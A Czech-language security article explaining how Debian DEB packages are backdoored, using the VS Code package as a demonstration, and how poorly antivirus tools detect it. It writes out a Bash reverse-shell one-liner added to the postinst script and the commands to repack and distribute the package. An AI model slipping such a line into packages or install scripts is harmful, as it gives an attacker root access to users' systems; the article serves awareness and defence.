Jak jsou balíčky DEB backdoored a jak to zjistit
Důležité body
- Balíčky DEB se dají poměrně snadno kompromitovat, což umožňuje kybernetickým útočníkům vkládat do vašeho systému škodlivý kód, pokud je instalujete s administrátorskými (root) právy.
- Infikované balíčky DEB je obtížné odhalit, neboť je antivirové programy nebo cloudové bezpečnostní služby, jako je VirusTotal, nemusejí detekovat.
- Jako ochranu doporučujeme stahovat balíčky DEB pouze z oficiálních zdrojů nebo ověřených komunitních stránek. Dále je vhodné zvážit instalaci bezpečnostních nástrojů, které pomohou zabezpečit váš linuxový systém před síťovými útoky.
Soubory DEB představují softwarové balíčky, které jsou primárním formátem pro distribuci softwaru v linuxových distribucích založených na Debianu.
Pro instalaci balíčků DEB je nutné použít správce balíčků, například dpkg, a mít přitom administrátorská oprávnění. Toho útočníci zneužívají a vkládají do těchto balíčků tzv. zadní vrátka (backdoors). Když pak balíček nainstalujete pomocí dpkg nebo jiného nástroje, dojde ke spuštění škodlivého kódu, který může ohrozit celý váš systém.
Následující text se zaměří na to, jakým způsobem jsou balíčky DEB napadány, a jak se proti takovým útokům bránit.
Jak dochází ke kompromitaci DEB balíčků?
Než se podíváme na samotný proces úpravy balíčků DEB, podívejme se, co se uvnitř takového balíčku nachází. Pro názornost si stáhneme DEB balíček Microsoft Visual Studio Code z oficiálních stránek společnosti Microsoft. Jedná se o stejný balíček, který byste stáhli, pokud byste chtěli instalovat VS Code na váš linuxový systém.
Odkaz ke stažení: Visual Studio Code
Nyní, když máte požadovaný balíček stažený, je čas jej rozbalit. Balíček DEB rozbalíte pomocí příkazu dpkg-deb s parametrem -R, následovaným cestou, kam se má obsah uložit:
dpkg-deb -R <název_balíčku> <cesta>
Tímto dojde k extrahování obsahu VS Code balíčku.

Po otevření extrahované složky najdete několik adresářů. Nás ale zajímá pouze adresář s názvem DEBIAN. Ten totiž obsahuje skripty, které se spouštějí během instalace s administrátorskými právy. Jak jste si již asi domysleli, útočníci modifikují právě skripty v tomto adresáři.
Pro ukázku upravíme skript postinst a přidáme do něj jednoduchý jednořádkový Bash reverzní TCP shell. Jak název napovídá, tento skript se spustí po nainstalování balíčku do systému.
Skript typicky obsahuje příkazy, které dokončují konfiguraci, jako je nastavení symbolických odkazů, řešení závislostí a další úkony. Na internetu naleznete spoustu různých reverzních shellů. Většina z nich funguje podobně. Zde je příklad jednořádkového reverzního shellu:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Význam příkazu:
- bash: Spustí Bash shell.
- -i: Říká Bash, aby běžel v interaktivním režimu, který umožňuje interakci v reálném čase.
- >& /dev/tcp/ip/port: Přesměruje standardní výstup a standardní chybu do síťového soketu, čímž se naváže TCP spojení na danou
a . - 0>&1: Přesměruje standardní vstup na stejné místo, tedy do síťového soketu.
Pro ty, kdo s tímto nejsou obeznámeni, reverzní shell je typ kódu, který po spuštění na cílovém počítači zahájí připojení zpět k útočníkovu počítači. Reverzní shelly jsou účinné pro obcházení firewallů, protože provoz vychází ze stroje za firewallem.
Takto vypadá upravený skript:

Jak vidíte, vše zůstalo stejné, pouze byl přidán jeden řádek, a to náš Bash reverzní shell. Nyní musíte soubory zabalit zpět do formátu „.deb“. K tomu jednoduše použijte příkaz dpkg s parametrem –build nebo dpkg-deb s parametrem -b a cestou k rozbalenému obsahu:
dpkg --build <adresář>
dpkg-deb -b <adresář>

Nyní je DEB balíček s vloženými zadními vrátky připraven k distribuci na škodlivé stránky. Pro simulaci situace, kdy oběť stáhne takový balíček a nainstaluje ho, provedeme ukázkovou instalaci.
Horní panel terminálu reprezentuje pohled oběti a spodní pohled útočníka. Oběť instaluje balíček pomocí sudo dpkg -i a útočník čeká na příchozí spojení pomocí příkazu netcat v Linuxu.

Jakmile instalace proběhne, útočník získá přístup k shellu systému oběti s administrátorskými právy. Nyní už víte, jakým způsobem dochází k napadení DEB balíčků. Nyní se zaměříme na to, jak se proti takovým útokům můžete bránit.
Jak zjistit, zda je DEB balíček škodlivý?
Nyní, když víte, že infikované DEB balíčky existují, je potřeba zjistit, jak je odhalit. Jednou z možností je použití antivirového softwaru pro Linux, jako je například ClamAV. Bohužel, když jsme nechali tento balíček otestovat ClamAV, nebyl označen jako škodlivý. Zde je výsledek skenování:

Pokud tedy nemáte prémiové antivirové řešení (které ani tak nezaručí 100% ochranu), je poměrně těžké detekovat škodlivé DEB balíčky. Zkusme tedy použít cloudové řešení, jako je web VirusTotal:

Jak je vidět, VirusTotal také nic špatného neobjevil. Jediný způsob, jak se chránit před podobnými hrozbami, je dodržovat základní bezpečnostní zásady, jako je nestahování souborů z neznámých zdrojů, vždy kontrolovat hash souborů a vyhýbat se instalaci podezřelého softwaru.
Internet je plný takových hrozeb. Jediný způsob, jak bezpečně surfovat, je používat zdravý rozum a navštěvovat důvěryhodné webové stránky. V případě Linuxu se navíc pokuste zjistit, zda software, který stahujete, nemá variantu AppImage, která je samostatná a lze ji snadno izolovat, čímž se minimalizuje riziko kompromitace celého systému.
Nestahujte DEB balíčky z neověřených stránek!
DEB balíčky samy o sobě nejsou nebezpečné, ale útočníci je mohou snadno zneužít a posílat nic netušícím uživatelům. Jak bylo ukázáno, balíček DEB lze poměrně snadno otevřít a upravit pomocí několika jednoduchých příkazů, což z něj dělá běžný vektor pro distribuci škodlivého softwaru.
Ani pokročilá antivirová řešení nedokážou zachytit jednoduché zadní vrátka v DEB balíčcích. Nejlepší je tedy hrát na jistotu, používat zdravý rozum a stahovat software pouze z oficiálních stahovacích stránek nebo důvěryhodných komunitních webů.
Nyní, když jste si vědomi bezpečnostních rizik spojených s instalací DEB balíčků z nových nebo neznámých stránek, buďte opatrní při instalaci nového softwaru. Pouhá opatrnost ale nestačí. Váš linuxový systém může být také cílem síťových útoků.
Pro zajištění vaší bezpečnosti před síťovými útoky byste měli zvážit instalaci nástrojů pro zabezpečení sítě.